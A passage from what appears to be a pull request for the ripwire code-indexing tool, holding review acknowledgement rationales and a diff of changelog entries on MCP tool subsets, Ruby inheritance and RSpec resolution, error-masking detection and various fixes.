The nine gating rows are ONE change, read line by line before acking. (1) api-surface grepHitsJson 3->4 params + verbosity: the MCP grep verb takes the span-tier MODE, because the escape hatch has to exist on the MCP surface too — an MCP-only agent that reads suppressed_comment= has no CLI to re-ask from; deliberate contract-change. WAVE-3 VERIFIER CORRECTION (P6-1): this reason originally read 'both callers updated in the same commit' and that was FALSE - src/mcpverbs.h's batch arm still took the defaulted GrepIn::Code and read no 'in' field at all, so the hatch was closed on the ONE surface that had no CLI fallback. Closed in the wave-3 fix lane: both callers now read the value through the same closed-value reader (mcpverbs.h::grepInModeFromArg), 'in' is a declared kBatchSubQueryFields member, and greptiercheck arms (9b)/(9c) pin the batch hatch and its refusal. (2) parseArgs +6 cx / +14 LOC and dispatchMcpLine +3 cx: one new closed-value flag arm (--grep-in=code|any) and its MCP twin, the same shape --grep-scope= added; a flag cannot be added to a hand-rolled parser without them. (3) churn=self on emitGrepReport / grepHitsJson / measure_set: this change's own edit window, not a history signal. (4) emitGrepReport +20 LOC / grepHitsJson +14 LOC: the filter call plus its wiring — the six conditional appends and the legend clause were already lifted into grepTierAttrs/grepTierLegend/grepTierKeys (the grepUnindexedAttrs/grepUnindexedKeys pattern), which is why the COMPLEXITY regressions on both are gone. Nothing here is a shortcut: the tier policy lives in search.h::grepApplySpanTiers and the parse in ingest.cpp::spanTiersOfFiles, both new symbols with their own gate (test/greptiercheck.sh - 30 arms at the wave-3 fix-lane head, 18 FAIL on the clean adb0831 pre-lane binary, 0 here; this text read '22 arms, 12 red', written against an earlier revision of the gate and never refreshed - WAVE-3 VERIFIER CORRECTION P6-7, and an ack's reason is the artifact a future reader trusts instead of re-deriving).

The tool's own rule is that two ladders over the SAME enum are a copy; these share no non-keyword identifier and no domain, and merging any pair would need a helper parameterised on an unrelated literal table — a wrong abstraction to satisfy a lint. The seventh, kindIs | lexTokenEqualsLowered, is the same shape at 56 tokens with materially different contracts: lexTokenEqualsLowered takes an explicit length and case-folds one side, kindIs takes its length from the literal's type and compares the terminating NUL as an ordinary byte — and that NUL comparison is precisely the safety property kindIs depends on (test/nodekindcheck.sh arm B proves the absence of a read past it with an mprotect(PROT_NONE) guard page).

The shared parts that COULD be hoisted already were: rootRelPathsLegend/kRootRelPathsLegend are one definition serving all eighteen legends (the S B4 echo-site rule, see ack api-surface 48efeb1d). What remains per-site is three locals computed from each emitter's OWN cfg/ing bindings in its own scope; folding those into a helper would hand every emitter a struct it must unpack, at ~30 call sites, to save three lines each. Accepted as the cost of the uniform root= contract, NOT as a claim that the preamble is optimal: the ~30-site preamble echo is recorded as a wave-2 follow-up for a dedicated round, where it can be measured and gated instead of refactored blind at integration close.

Both duplication rows pair it with an EXISTING member of src/ingest.cpp's kind-table family (isBaseTypeNode, isJsonShapeModifier) — a static const char* const table with one commented row per language, scanned by strcmp. What the clone detector sees is that shared idiom, and it is right that it is shared: it is the file's house pattern for a node-kind predicate, and every future language row lands as one commented line rather than an edit to a condition. Neither collapse is available. Merging into isBaseTypeNode would be a CORRECTNESS change, not a cleanup: base-type admits eight kinds (qualified_identifier, generic_type, user_type...) and a type MENTION must admit only type_identifier — that narrowness is precisely the round-1 ACCEPT result, and test/typerefcheck.sh fails if it widens. Collapsing today's single-row table to a bare strcmp would remove the per-language comment slot the siblings use and would have to be undone by the first non-C++ grammar added.

+### Added — `--quality-delta` placeholder kind (the eleventh): stubs and TODOs a change adds
+
+A new kind, `placeholder`, lists the stubs and TODO comments a change added, per symbol: `todo!()` /
+`unimplemented!()`, Kotlin `TODO()`, `NotImplementedException`, a bare `raise NotImplementedError` as a free
+function's whole body, a throw/raise/panic/assert whose message says "not implemented", and a comment line
+opening with `TODO`/`FIXME` that names no issue. Every row is `origin="new-symbol"` and never gates; a
+change with no stub prints nothing new. `--help`, the MCP `quality_delta` description and the full legend
+now say eleven kinds.
+
+### Added — `--mcp-tools=LIST`: the MCP server can list a subset of its tools
+
+`ripwire --mcp --mcp-tools=LIST` (and `--listen`) lists and answers only the named tools. LIST is a comma list of
+tool names and/or two profiles: `core` (explore, batch, from_trace, impact, uses, fetch_body, edit_check,
+quality_delta; the tools the server's own instructions name, plus fetch_body) and `full` (all 33, the default).
+Measured on this build with a bare stdio server, `tools/list` is 46,368 bytes for `full`, 13,834 for `core` and
+4,224 for `grep,impact,uses`; `initialize` grows from 1,035 to 1,252 bytes under `core` for the sentence that
+announces the subset. With no flag, or `--mcp-tools=full`, every byte the server sends is unchanged.
+
+A call to a tool the subset leaves out is refused (`-32602`) with the restart that enables it, and with the
+`batch` sub-query that answers it when `batch` is listed and serves that verb; `batch` keeps serving its own
+sub-verbs. The instructions text keeps only the hints whose tool is listed. An unknown name (with a near miss and
+the valid names), a repeated name or an empty name exits 1 before the server starts. `ripwire wrap AGENT
+--mcp-tools=LIST` writes the flag into the printed server command for claude, cursor, windsurf, gemini and
+opencode, and prints a note to add it by hand for codex, openclaw and hermes. Gate: `test/mcptoolsubsetcheck.sh`.
+
+### Added — RSpec's `described_class` is the class its example group names, so a spec's calls pin to the class under test (#338)
+
+`described_class` is how RSpec spells the class under test. Inside `RSpec.describe Calc do … end`,
+`described_class.m( 1 )` is `Calc.m( 1 )`. Its receiver is a bare identifier that no binding names, though, so every
+such call declined. A spec reached nothing through it, and `tested=`, `--seams` and `--test-gate` read the class under
+test as unreached by the spec written for it.
+
+The call now pins the way a written `Calc.m( 1 )` does (#267's constant-receiver arm). The rule is RSpec's own
+(rspec-core 3.13, `Metadata::ExampleGroupHash#described_class`): a group's described class is its first description
+argument, unless that is `nil` or a String, in which case it is the parent group's. So the innermost enclosing example
+group with a constant first argument answers. An example group is `describe` / `context` (and `feature`,
+`example_group` and the `x`- / `f`- spellings), called bare or on `RSpec`, with a block. A shared group
+(`shared_examples`, `shared_examples_for`, `shared_context`) stops the walk with no answer, because its body runs in
+whichever group includes it.
+
+Stated floors, each pinned by `test/rubydescribedclasscheck.sh`:
+- **(a)** A chained receiver (`described_class.new.m`) is untouched: #267's one-hop bound.
+- **(b)** A group with no constant (`describe "text"` at the top, `describe :sym`) names no class.
+- **(c)** A `describe` on any other receiver (`Docs.describe Calc do`) is not an RSpec example group.
+- **(d)** `subject`, the implicit `described_class.new`, is not modelled.
+- **(e)** A redefined `described_class` declines. A **method** of that name (any `:described_class` symbol, as in
+  `let( :described_class )`, or `def described_class`) declines every site in the file. A **local** of that name (an
+  assignment, `||=`, a multiple-assignment target, or a block or method parameter) declines the sites Ruby reads as
+  that local: after the binding in its own scope and in the blocks nested inside it, never in a sibling block, and
+  never across a `def`. The name is matched as a whole word, so `my_described_class = x` redefines nothing.
+- **(f)** A qualified describe is named by its final segment: `RSpec.describe Cask::Tab` reads as `Tab`. Where another
+  `Tab` defines the method too, the call splits between them. Where only the other `Tab` defines it, the call pins
+  there, unmarked. A written `Cask::Tab.m` behaves the same way.

+
+### Added — Ruby has inheritance edges: `class Child < Parent` reaches the lego view and the resolver's base walk
+
+No Ruby corpus has ever carried an inheritance edge. `captureBases` turns a class's base clause into
+inherit refs, which `buildGraph` reads into the CHA-lite name graph the resolver walks after a type's
+OWN method set misses — and Ruby reached none of it. The clause kind was never the problem
+(`superclass` is already in the table; Java's `extends` clause carries the same node name): the
+base-TYPE table held no node kind Ruby uses. Ruby names a base with `(constant)` — `class Child <
+Parent` — or `(scope_resolution)` — `class Derived < Space::Base`. Both are now read, under a
+language test rather than appended to the shared table, because both kind names are generic enough
+to mean something else in another grammar.
+
+This is floor (a) of the constant-receiver round above, lifted — and it is what held that round's
+gem numbers down, since a gem reaches its class methods up an `ActiveRecord::Base` hierarchy. Two
+things follow at once: `--lego` answers for Ruby, and `Child.build` resolves to `Parent::build`.
+
+A base is found by its final segment, like every language's, and then SCOPED by Ruby's own constant
+lookup: the superclass as written is resolved innermost-first along the enclosing `Module.nesting`,
+then at the top level (`::X` absolute), against every class and module the tree opens — the #57
+constant index, namespace wrappers included — and only the classes that ARE that constant are its
+base. So `class Rec < ActiveRecord::Base` is not an implementor of an in-tree `Space::Base`, `class
+Inner < Base` inside `module Beta` lands on `Beta::Base` alone, and a base the tree never opens adds
+nothing to the CHA name graph, so its class's walk cannot reach an unrelated in-tree `Base`. That
+join needs no new extraction: every `class X < Y` already carries its written superclass as the
+symbolic directive #57 records. The bases are read by constant rather than through `byName`, whose
+C-family decl/def collapse takes a body-less `class Base < StandardError; end` for a forward
+declaration and drops it next to any same-named class with a body.

+
+`ambiguous` falls on the gems because a two-way split collapses into one pinned edge, which is also
+why `edges` falls where it does — 151 fewer on activerecord is 151 calls that stopped naming two
+candidates. No `ActiveRecord::Base` subclass lives in activerecord's own `lib`, so 0 is its answer;
+before the scoping, the final-segment key gave it 11, every one a collision (`ActiveJob::Base`, the
+encryption errors' own `Errors::Base`, the generators' `Base`). On the apps the scoping is what
+moves `ambiguous` UP: a call that reached an in-tree `Base` only through an out-of-tree one is no
+longer pinned there. App A's `self.data` in a model (`< ApplicationRecord < ActiveRecord::Base`) was
+pinned to a report handler's `data` through `Reports::ResolutionHandlers::Base`; it is an honest
+split now. App B's twelve `SomeModel.polymorphic_name` sites were each split three ways over the
+app's own `User::Base`, `Organization::Base` and `BankAccount::Base`; ActiveRecord answers them, and
+they mint nothing.
+
+Stated floors, each pinned by an arm of `test/rubyinheritcheck.sh`: a COMPUTED superclass (`class
+Dynamic < Struct.new( :a )`) is a call, not a name, and mints nothing — not even an edge to the
+call's receiver, which `captureBases`' one-level wrapper descent used to hand over; a MIXIN
+(`include Helper`) is NOT an inheritance edge in this round — it is a receiver-less call in the class
+BODY, the same shape and the same decision as PHP's in-body `use SomeTrait;`, and Ruby's ancestor
+chain really does hold included modules, so it is a stated residue rather than a claim that it is not
+inheritance; the base walk's METHOD probe is keyed by the immediate scope (`Base::m`), so two in-tree
+bases that share a final name still share one probe — `UsesAlpha.beta_make` pins `Beta::Base`'s
+method although `UsesAlpha < Alpha::Base`; and `Built = Class.new( Parent )`, with or without a block,
+makes `Built < Parent` at runtime but is a constant assignment whose value is a call, not a `class`
+open, so it mints no class and no edge — the same decision as a computed superclass. A class
+reopened with its superclass repeated (`class Reop < Parent … end` twice) is two symbols and one
+constant, and the lego view lists it once — app A's 129 was 130 before, one model counted twice
+because a stub reopens it with the superclass repeated. A fifth floor, of `queries/ruby/tags.scm` rather than of
+this round, is pinned beside them: a receiver-less call written with no parentheses and no arguments
+parses as `(identifier)`, not `(call)`, and is not a call site at all.
+
+The scoping is defensive in one place: an inherit reference with no superclass directive at its class
+open keeps the final-segment name rule. That fallback is now counted, and the graph gauge carries
+`ruby_bases_unscoped=N` when it was taken (absent at zero, defined in the full and compact legends).
+No well-formed input is known to reach it; `test/rubyinheritcheck.sh` drives it through a test seam.
+
+`--deps` is byte-identical on activerecord, and the default map is byte-identical on four Ruby-free
+corpora, with this repository's `--report` totals unchanged. `kParserVer` 129 in this release (carried as 97 → 99 on the PR, in two steps: 98 added the
+inheritance records; 99 dropped a computed superclass's stray receiver ref); the record layout is unchanged, and
+the `quality.h` mirror and `test/qschemetrip.hash` move with it.
+
+### Changed — `ripwire-quality-bar` gains a bounded debt fix loop
+
+A new section drives paying down EXISTING debt: pick the top `--quality-panel=strict` row, write the test first when
+nothing reaches the code, apply the table/playbook recipe for its shape, and prove it with the closed fix loop plus an
+anti-gaming rule (measure before committing, one fix per commit; `regressions="0"` and `acked=` not rising — a fix
+may not worsen any other kind); at most 3 fixes per session (a default, not a measured optimum).
+
+### Changed — `--quality-delta` error-masking also counts log-only and rethrow-only handlers
+
+`error-masking` counted only an empty handler (empty braces, `pass`, `...`, a comment-only body). It now also
+counts two shapes read off the same parse: **log-only**, a broad handler (one that catches everything or the
+root error type) whose body only logs or prints and never names the caught error, and **rethrow-only**, the
+only handler of its try re-throwing the error unchanged. Both are conservative: a log that names the error
+(`logger.exception`, `exc_info=`, the variable itself), a narrow handler, a wrapped re-throw, a re-throw
+ahead of a broader sibling handler and a C# `when` filter are not counted. The two shapes gate only in
+Python, where a hand-labelled sample measured precision 0.976 (40 of 41) and 1.000 (33 of 33); in every
+other language the row is printed as `sev="minor"` and never fires exit 2 (`kHandlerShapeGates`,
+`src/lintrules.h`; method and table in `docs/EVALS.md`). `kQSnapCacheScheme` 15 → 16.
+
+### Changed — `--metrics` prints one row per definition
+
+`--metrics` prints one row per definition. Same-name definitions in one file and scope (Java, C++ or C#
+overloads; a macro defined in several preprocessor branches) used to share ONE row that carried one
+body's `cx`/`ccx`/`loc`, so the other bodies' metrics were hidden and a join by function missed them.
+Each body now has its own row with `l=` (its start line; `"l"` in `--json`). The same split applies to a
+Python, JavaScript or Dart property's getter/setter pair and to a function defined in several `#ifdef`
+branches: each body is its own row. Bodyless declarations add
+no row: they fold into `overloads=` of the group's first body, so `rows + sum(overloads-1) = shown`
+still holds. A prototype plus its definition stays one row, now carrying the definition's metrics
+instead of the prototype's. Rows of code without same-name definitions are byte-identical, and the
+default map (no `--metrics`) keeps its collapse unchanged. The `docs/COMMANDS.md` `--metrics` example shows
+the split rows. Gate: `test/metricscheck.sh` (per-def arms).
+
+### Changed — `--impact` lists the blast radius nearest first, with its hop depth
+
+`--impact=SYM` (and the MCP `impact` twin) used to list the reach set in PageRank order with no depth, so a
+direct caller and a four-hop dependent looked alike, and the page window (40 rows by default) cut across every
+depth at once: a well-ranked distant dependent could push a direct caller off the page. Rows now run by hop
+depth first (1 = calls SYM directly), in the previous PageRank order within a depth, and the order is applied
+before the window cuts, so a cut drops the deepest rows first. Each XML row states its depth as `d=`, printed on
+the first row shown and wherever the depth changes (a row without it has the depth of the row above); the root
+carries `by_depth="1:n,2:n,…"`, which counts `reaches=` per depth, so a capped answer says which depth it stopped
+in. `--json` carries `"by_depth":[…]` and `"d"` on every row; `--format=columnar` a `<depth>` column. The set of
+symbols and every existing count are unchanged; with more than one depth in the reach set, which rows fill a cut
+page changes. Measured on this repository's own answers (four symbols, blast radius 4 to 204 symbols):
+`by_depth=` adds 27–45 B and `d=` 6–24 B, and the compact legend 127 B; `d=` on every row would have cost 240 B
+per page instead. Gate: `test/impactdepthcheck.sh`.
+
+### Changed — the versions this release moves, stated once
+
+`kParserVer` 124 → 129 (the function-literal fix takes 128; #338 and #325 take one more), `kCacheVersion` 25 → 27
+(the function-literal fix's record changes) and `kQSnapCacheScheme` 15 → 16 (the `--quality-delta` error-masking and
+placeholder changes). Every ingest cache written by an earlier build is refused and re-indexed once, and every
+cached quality snapshot is recomputed. The session legend dictionary is `dictv=0e543e1e6a3fe37d entries=750`.
+
+### Fixed — review round on train 22: false gates, a stack overflow, silent cuts
+
+- `--quality-delta` log-only handlers: a receiver is a logger only when the first or last word of its last segment is `log`, `logger` or `logging` (words split on `_`, `-` and camelCase), or a known logger package, not whenever it contains "log". A Python `except Exception: store.catalog.write(x)` no longer gates as log-only.
+- `--quality-delta` error-masking: the built-in query rules are no longer capped at 5000 matches per rule. The cap cut a path-sorted list, so on a tree with more than 5000 catch clauses the baseline and the working tree were cut at different files, and untouched code past the cut could read as a pre-existing regression (exit 2).
+- `--quality-delta`: a log call whose argument nests thousands of levels deep no longer overflows the stack (exit 138). The search for the caught error's name stops at 512 levels and then treats the handler as not log-only.
+- `--doc-drift`: a thousands-grouped number longer than 10 digits (`1,099,511,627,776`) is no longer read as its 10-digit prefix and reported as a `const-value` drift. It makes no claim.
+- `--mentions` and the MCP `mentions` tool: indexed markdown files that cannot be read back when the answer is built are counted as `unbackticked_unread=N` (MCP `"unbackticked_unread"`), instead of being treated as files with no unbackticked mention.
+- `--pattern`: the `unmatched_qualified=` reading says the count is a floor when the hit budget stops the walk (`hits_capped=1`).
+- `--hotspots`, `--cochange` and `--owners` in a multi-root workspace carry `shallow="1"` when any mined root is a shallow clone, not only when the first root is. `--owners=SYM` checks the root that holds the symbol's file.
+
+### Fixed — a name bound to a function literal has a body: no more false `bodyless_defs`, and quality verbs measure it
+
+`const f = (x) => {…}`, `export const f = function(…) {…}`, a class-field arrow, an object-literal arrow, a CommonJS
+`module.exports.f = function`, Lua's `M.f = function(x) … end` / `local f = function` / `{ f = function … }`, and a
+Python class-body `f = lambda self, x: g(x)` were captured as definitions whose def node (the declaration, the
+assignment, the table) owns no `body:` field, so each read as a bodyless declaration: `--callees=f` and MCP
+`find_symbol` answered `bodyless_defs="1"` — false — and every verb that measures only bodied functions skipped them.
+A name bound to a function literal now owns that literal's body (one data table, `kFnLiteralBinding` in
+`src/ingest_relations.h`: the languages, the literal node kinds, the value-carrying fields, the positional value
+list and the cast/paren wrappers — JS, TS/TSX, Lua and Python today). Params, cx and nest read from the literal, so a
+typed const's annotation no longer lends the arrow its parameter count, a bare `x => …` counts its one parameter, and
+a declaration binding several names
+(`const a = () => …, b = () => …`, a Lua table of function fields) gives each name its own span, so its calls
+attribute to it. On a 583-file TypeScript agent repo: `--biggest-first`, `--ensemble` and `--quality-panel` measure
+2,083 functions (was 63), `--clones` sees 32,714 lines of function body (was 819); summed
+`bodyless_defs` over every function/method name 2,043 → 23 (the 23 are interface signatures and data keys). A real
+declaration (`declare function`, an overload signature, an interface member) stays bodyless.
+
+A bodied closure also competes for calls, so the resolver now knows where one can be named: a function bound inside
+another function's body (named or anonymous — a factory's `const start = () => …`, a `const run` in an `it()` callback,
+a nested `def`, in every language) records that function's span, and a call outside it cannot reach the closure by
+name. A nested function the language binds GLOBALLY is not such a closure and competes as before: PHP's nested
+`function`, a nested Bash function, Lua's non-`local` nested `function`/assignment, and a JS assignment-bound def
+(`exports.f = function`). A call the builtin-method gate or the external-name veto already answers (`d.get()`,
+`re.sub()`) resolves exactly as before. There the closure YIELDS to every candidate the call can name instead of competing: `tui.start()` on an imported
+class binds to the class's method even when another imported module holds a factory-local `start` (on main this
+declined for a nested `function start(){}`), and a helper's `run` parameter no longer binds to a `const run` inside
+another test's callback. It keeps its edge through a factory the caller imports when nothing reachable competes
+(`createTracker().stop()`). On the same repo: edges 3,894 → 3,851, `ambiguous` 24 → 0, tier-3 `declined` 55 → 129.
+Of the edge rows main had and this build does not, 41 were guesses — 40 `process.stdout`/`stderr.write()` calls bound
+to a same-named stub method and one `render()` of a dynamically imported library bound to an unrelated class method; both
+now decline — and 7 were splits that now bind one target: 5 over same-named closures, to the one in the caller's own
+function, and 2 over a declaration and its implementation, to the implementation. 8 calls into closures that had no
+body before are new edges. Still guessed, and stated: a call whose ONLY same-named definition is such a closure can
+bind to it (a parameter call included), and a closure returned by a factory and called through the result in the SAME
+file declines when an unrelated same-named definition exists elsewhere — a TS/JS call records no member bit, so the
+resolver cannot tell `provider.get()` from a bare `get()`. A Python function that declares `global g` and then defines
+a nested `def g` binds `g` globally, but it is read as local (the `global` statement is not read), so a bare `g()`
+elsewhere can bind to a same-named method in another file where main bound the nested def. Known limit, and a new false edge in this shape: when a
+returned closure is called by name (Python `py_incr = make_counter(); py_incr(1)`, or a JS `module.exports = { jsInit }`
+from an IIFE) and the caller ALSO imports another module that defines the same name, main split the call across both
+definitions; this build pins the other module's definition, because a lone import candidate the call can reach wins
+over a closure it cannot name. The fix is the same missing member bit. The index format changes with it: `kCacheVersion` 27, so a
+cache written by an earlier build re-parses once (27, not 26: a 26 cache from an intermediate build of this change holds
+wrong scope spans and is refused too). Gate: `test/fnliteralcheck.sh` (section 6 for the edges).
+
+`--naming-consistency` no longer proposes camelCase for a JSX component: a PascalCase function in a `.tsx`/`.jsx`
+file neither votes nor is flagged (JSX reads a lowercase tag as an intrinsic element), and the header counts it as
+`component_exempt=N`. It reads the extension, not the body: a component in a plain `.js`/`.ts` file still votes. On the
+same repo the bodied arrows bring 7 React components into the vote; all 7 are exempt (`component_exempt="7"`, 0
+flagged). Gate: `test/namingconsistencycheck.sh` arm 12.
+
+### Fixed — `--flags` reads JavaScript and TypeScript `process.env` switches
+
+A TypeScript repository whose switches are all `process.env.X === "1"` checks answered `gates="0" env="0"`. The env
+lane now reads `process.env.NAME`, `process.env["NAME"]` and `process.env['NAME']` in code as `kind="env"` gates
+(default unset), the same way it reads `getenv("NAME")` and Python's `os.environ`; a read inside a comment or a
+string, and `process.env` without a name (`const env = process.env`), are not gates. In JavaScript and TypeScript
+files a backtick template literal is a string: its text — on one line, across lines, or nested inside a `${…}` — is
+not code, while the code inside `${…}` is (so `${process.env.X}` is a gate). Other languages' quote handling is
+unchanged. As for Python env gates, `regions=` and `loc=` stay 0, and both legends now say so: they are measured
+only for `#if` regions. On the aislop TypeScript repository the verb now reports 20 env gates (a 21st read sits in
+the text of a generated-source template). Gate: `flagscheck` arms 12 and 12t.
+
+### Fixed — `--doc-drift`: three false drifts on a Python repository
+
+- A doc's `NAME = 15,000` was read as 15 and reported against the code's `15_000`. In prose, a 1–3 digit lead
+  followed by `,ddd` groups is now read whole (code keeps reading `15, 000` as two values). This also clears two
+  rows on this repository (`kForPayloadBudgetBytes` = 7,500 and `kGrepCollectionBudget`=4,000,000).
+- A Python built-in exception (`NameError`) or a JavaScript/TypeScript global (`TypeError`, `structuredClone`)
+  named in a doc was "undefined". It is now counted as `<unchecked r="language-builtin">` when the corpus indexes
+  that language.
+- A section inherits the ISO date of the heading it sits under (levels 2 and deeper), so a Keep a Changelog rename
+  under `### Fixed` below `## [1.8.2] - 2026-03-17` is a dated record (`rec="block"`), not live drift. On this
+  repository 23 rows move from `drift=` to `dated=`.
+
+Gate: `docdriftcheck` arm FD.
+
+### Fixed — `--from-trace` no longer pairs one file's line with another file's definition in `next=`
+
+When the innermost frame's function name bound to a definition in a different file than the frame's own path
+(`resolved_by="name"`), `next=` spliced the frame's line onto the definition's file: a frame at
+`src/verbs_doctor.h:304` naming `escapeXml` produced `next="--slice=@src/serialize.h:304"`, a line inside another
+function. That case now hands over the definition's handle, `next="--expand=src/serialize.h:escapeXml"`, and marks
+the root `line_mismatch="1"` (present only then; defined in both legends). A frame in the definition's own file
+keeps `--slice=@FILE:LINE` byte-identically, the MCP `from_trace` twin included. Gate: `nextverbcheck` arm (5).
+
+### Fixed — `--connect` searches a many-definition terminal from the definition that joins
+
+`--connect` resolved each terminal to one definition, the lowest id, before searching. On this repository
+`--connect=main,escapeXml,Graph` took `main` from a Python bench script (one of 107 definitions) and printed every
+terminal `<unconnected>`, while `--path` joined `main` to `escapeXml` in two hops. Each definition of a terminal's
+name is now scored by how many other terminals it reaches within `radius=` on the same undirected view, then by
+the fewest hops, and the best one is searched from (CLI and MCP `connect` alike, `graph.h` `joinTerminalPicks`).
+A name none of whose definitions joins keeps the old pick, so `<unconnected>` there holds for every definition.
+When several definitions join equally well, the root names that terminal in `ambiguous_terminal=` (present only
+then). The full legend's `defs=` sentence, which said the lowest-id definition was used, now states the rule; the
+header change moves `est_tokens=` on `--connect` answers by a few tokens. Gate: `connectcheck` arm 10.
+
+### Fixed — `--dead-code` no longer reports a pytest test method as an internal-linkage orphan
+
+A Python def's signature span runs on through the comment lines that open its body, so a test method whose first
+comment contained the word `static` ("the static type is unchanged") met `--dead-code`'s internal-linkage rule and
+was reported. Two changes, shared by `--dead-code` and `--safe-delete`'s `dead_code_candidate=`: a `static` inside a
+comment (`#`, `//`, an unclosed `/*`) is no longer linkage evidence; a Python def that a test runner reaches is not a
+candidate — a pytest `test*` function or method or xunit hook in a `test_*.py` / `*_test.py` file, and a `test*` or
+setUp-family method of a class whose own bases name a `TestCase`; and a decorated Python def is not a candidate either
+(a decorator may register it; plain wrappers such as `@staticmethod`, `@property` and `@lru_cache` are included, and
+their only "linkage" evidence was a `static` token, which Python never means as linkage). `--dead-code` counts the two
+reasons apart, `runner-root-excluded=N` and `decorated-excluded=N` (floors, each absent at 0, defined in both legends).
+Not covered: a `TestCase` subclass reached only through an intermediate base, and pytest name overrides from a
+config file. Gate: `deadprecisioncheck` arms R1–R4.
+
 ### Fixed — a root nobody chose is not crawled when it is a home or system directory (#350, layer 1)
 
 An MCP server started in a home directory that is not a git repository crawled the whole tree and reached a 67 GB
@@ -86,6 +408,163 @@ relative `HOME` is ignored. Canonical paths are compared, and `%WINDIR%`, `/Syst
 (`ripwire ~`) is always answered, under the memory guard, and subdirectories are ordinary directories. Gate:
 `test/memguardcheck.sh` (A).
 
+### Fixed — the history verbs say so when a clone is shallow
+
+On a `git clone --depth 1` (the `actions/checkout` default) the history verbs answered from one commit and said
+things that are false about the repository; the `+shallow` suffix on `at=` was the only hint. One probe
+(`git rev-parse --is-shallow-repository`, now shared by `at=`, `--doctor` and the verbs below) drives:
+
+- `--quality-delta=REV` and `--dmm=REV` on a shallow clone's boundary commit say "shallow clone: that commit's
+  parent was not fetched" and name `git fetch --deepen=N` / `git fetch --unshallow`, instead of "a root commit".
+  The raw commit object still records its parent, which is how a boundary is told from a true root commit, and a
+  true root commit is still called one.
+- `--owners`, `--hotspots` and `--cochange` (all three forms), plus the MCP `owners` and `cochange` twins, carry
+  `shallow="1"` on the root (`"shallow":true` in the cochange JSON), with a legend clause and a compact reading.
+  This is the attribute `--doctor`'s git row already uses. The numbers are unchanged; they are marked as coming
+  from only the fetched commits.
+- `--hotspots`, `--cochange` and `--owners` refusals on an empty mined history say "shallow clone: the fetched
+  history holds no commit this verb can mine", not "git unavailable / no history (need a git repo)".
+- `--rank-by=churn-decay` names its unscoped span `fetched-history` on a shallow clone, not `all-history`, and
+  both churn rankers append `(shallow clone)` to `window=`.
+- `--pr-context` and `--merge-scout` unknown-ref refusals add a shallow-clone hint.
+
+On a full-history clone every one of these answers is byte-identical to before (measured on a three-commit fixture
+for all ten verb forms under both legends, and on this repository for `--hotspots` and `--rank-by=churn-decay`).
+The legend dictionary gains one row (`dictv` changes).
+Gate: `test/shallowhistorycheck.sh` (21 checks fail on the previous binary; all 38 pass here).
+
+### Fixed — three MCP answers no longer claim more than they checked (whereis, uses, find_symbol)
+
+- **MCP `whereis`** labelled HEAD rows with the lexical shape test (`head_labels="lexical"`), and that test
+  reads a call whose line wraps after its closing `)` as a definition: `const auto ep = rw::escapeXml( …`
+  came back `kind="def"` where the CLI said `kind="ref"`. The twin now hands the tree scan the index's
+  definition sites, through the same helper the CLI calls, so HEAD rows and `head_labels=` match the CLI.
+  The lexical fallback is unchanged and still disclosed (`head_labels="lexical"`): no indexed definition of the name,
+  or a working tree that drifted from HEAD.
+- **MCP `uses`** (and the `batch` sub-query) refused a name with "no indexed definition and no use-site under that
+  spelling". The scan behind it reads indexed reference edges only, so a member access on an unindexed field
+  (a TypeScript interface property read as `row.valueToken`) is a use-site it never sees. The refusal now says
+  "no indexed reference" and points at `grep` for text uses. Indexing TypeScript interface properties is not
+  part of this fix.
+- **MCP `find_symbol`** carries two arrays, and `count`/`hop_tested`/`hop_untested` total `calls` only; a leaf read
+  `"count":0` beside `"calledBy_total":67`. A new `"count_of":"calls"` key names the array those keys total.
+  `find_referencing_symbols` has one array and is unchanged.
+
+Gate: `test/mcptwinclaimscheck.sh` (fails on the previous binary with 6 failed checks, passes on this one).
+
+### Fixed — three answers that cut silently now say what they left out
+
+- `--mentions=SYM`: `docs=` counts markdown files whose one-line backtick span is exactly the name, and nothing said
+  that prose, a code block, `callers:SYM` or a span broken across lines never counts. `--mentions=escapeXml` read
+  `docs="2"` on this repository while three more files named it. The root now carries `unbackticked_docs=N` (present
+  only when non-zero, a whole-word text match and so a ceiling) with its reading in the same answer; the MCP
+  `mentions` twin carries the same count with `"unbackticked_docs_ceiling":true`. On the tree before this change: `docs="2" unbackticked_docs="3"`. Gate: `test/mentionsverbcheck.sh` 7.
+- `--pattern`: the matcher is kind- and text-exact, so `escapeXml($X, ...)` never matched `rw::escapeXml( s, esc )`
+  and answered `hits="213"` with 46 qualified calls unmentioned (`--uses` counts 265). Those calls are still not hits
+  — the pattern did not say `rw::` — but each candidate the exact match refused is asked once more with a pattern
+  name allowed to match the last segment of a scope-qualified name (`qualified_identifier`, `scoped_identifier`,
+  `qualified_name`), and the root counts those as `unmatched_qualified=N` with a reading. Absent at zero. Gate:
+  `test/patterncheck.sh` 7.
+- `--pack-top-n` (deprecated): the budget ended the answer with a bare `<!-- truncated -->` inside the last file's
+  CDATA, the files it never reached vanished, and on this repository the loop went on serving 20–32 B fragments of
+  three more files. The first file that does not fit now closes the answer, cut at a line end with
+  `<src truncated="1" lines="1-K/T">` (a file of which no whole line fits is omitted, not served empty); when a
+  requested file was not served, `<src_cut shown= total= capped="1" budget_bytes=>` (plus `unreadable=N` for a file
+  that could not be read, which used to be skipped silently) comes first, and one comment defines both. An uncut
+  answer is byte-identical. Gate: `test/overbudgetcommentcheck.sh` B8.
+
+### Fixed — Python: a class defined in the caller's file no longer vouches for a dict's `.get`
+
+The builtin-method gate kept an edge whenever the caller's file named the target's class, and a file that merely
+DEFINES the class counted. So in the file that defines `ConnectionPool`, `data.get( "repos" )` on a json dict and
+`entry.get( "alias" )` on a dict row still bound to `ConnectionPool.get`: 4 of its 9 callers on the public Python
+repository the gate was measured on. For a Python call on a receiver other than `self`/`cls`, the class's own
+definition (its `class` statement and the declared name it leaves) is no longer evidence; a reference, binding or
+import naming the class still is. On that repository `ConnectionPool.get` now lists its 5 real callers, with the
+4 counted in `declined_calls=`. `self.get()` and `cls.get()` inside the class keep their edges, and JavaScript,
+TypeScript and Ruby keep the file-grain rule (the first records no receiver shape; a bare Ruby call is a self call).
+Because Python records no annotation as a binding, the class still counts when its name occurs in its own file beyond
+its definition (a parameter or local annotation, a string, `Optional[…]`/`List[…]`, `isinstance`, a return type — or a
+comment), read token-exact from the file; `registry.py` names `ConnectionPool` only on its `class` line. The default map
+of this repository and of all 38 Python fixture trees under `test/` is byte-identical. Gate: `test/builtinbindcheck.sh`
+arm T (a same-file decoy, plus eight same-file annotation shapes that must keep their edge).
+
+### Fixed — `--stray-content --plan` and `--merge-scout` stop extracting the subtrees the crawl prunes
+
